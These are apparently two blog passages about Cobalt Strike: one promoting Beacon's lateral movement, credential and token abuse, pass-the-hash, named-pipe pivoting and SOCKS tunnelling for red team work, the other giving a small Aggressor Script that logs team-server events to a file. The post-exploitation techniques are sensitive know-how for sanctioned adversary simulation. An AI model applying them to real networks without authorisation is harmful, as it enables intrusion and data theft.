What about lateral movement? Beacon has automation for this too. The psexec, psexec_psh, winrm, and wmi commands are present. Like other Cobalt Strike features, these tools run in the Beacon agent. Don’t worry, the ability to leverage different trusts is present. Beacon can steal tokens, use credentials, pass-the-hash, and leverage Kerberos tickets.

If you’re at a loss about how this is possible, without the Metasploit Framework, take a look at this talk:

What about pivoting? Cobalt Strike can pivot too. Which option makes sense depends on your definition of pivoting. If you would like to control your Beacon agents through a foothold Beacon, you can do that. Beacon uses Windows named pipes to control Beacons through another Beacon. You can chain multiple accesses together this way without any problems. This feature is ideal for privilege escalation; you don’t have to worry about egress for the elevated session. This feature is also beautiful for lateral movement; named pipe communication is encapsulated in the SMB protocol. It blends in well. Many of my customers rave about this particular feature and how easy it is with Cobalt Strike 3.0 and later.

Chaining Beacons together is one thing, what about tunneling tools through Beacon? Cobalt Strike has you covered here too. You can use SOCKS pivoting to tunnel tools through Beacon. You can also setup reverse port forwards that ride backwards through your Beacon communication path too.

When I look at the above capability, I ask: how is this post-exploitation only? Cobalt Strike has the tools to get a foothold with a targeted phishing attack, operate through that foothold, expand access, pivot, and exfiltrate data.

Now, let’s shift the question: Where is the tool to scan for vulnerabilities in web applications? Why doesn’t Cobalt Strike import vulnerability scan results? Where are the remote memory corruption exploits to verify vulnerability scan results? Why can’t you run NMap from Cobalt Strike? Cobalt Strike doesn’t do these things. Cobalt Strike is not a toolset for vulnerability verification. It never was. It never will be.

What is Cobalt Strike for then? It’s for red team operations and adversary simulations. These services require the ability to work quietly as a remote actor in a customer’s network. This problem set and the features it requires are different from the features needed in a vulnerability verification tool.

The Advanced Threat Tactics course covers these topics in depth.

There are several research projects to collect raw data from red team activity, process this data, and try to turn it into information. In this blog post, I’ll show you how to instrument a Cobalt Strike team server and generate a real-time feed of engagement activity.

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. Aggressor Script uses the on keyword to hook different events generated by Cobalt Strike. The * event is a special event baked into Aggressor Script. The * event fires for every Cobalt Strike event.

Here’s a simple script to hook the * event and write its arguments to the events.txt file:

on * {
	local('$handle');
	$handle = openf(">>events.txt");
	println($handle, "[EVENT] $1");
	foreach $index => $argument (subarray(@_, 1)) {
		println($handle, "[Argument $index $+ ] $argument");
	}
	closef($handle);
}

The first parameter to the * event is the event name. Each parameter after that are the fired event’s original parameters.

To load this script: save the example in events.cna. Go to View -> Script Console in Cobalt Strike. Type load /path/to/events.cna. The script is now loaded.

As new events come in, this script will append them to the events.txt file. What gets fired as a Cobalt Strike event? Everything! Input to a Beacon, by any user, is an event. Output to a Beacon is an event. New content hosted on Cobalt Strike’s web server is an event. You get the idea.

Feel free to modify this script to feed your local data collection monster.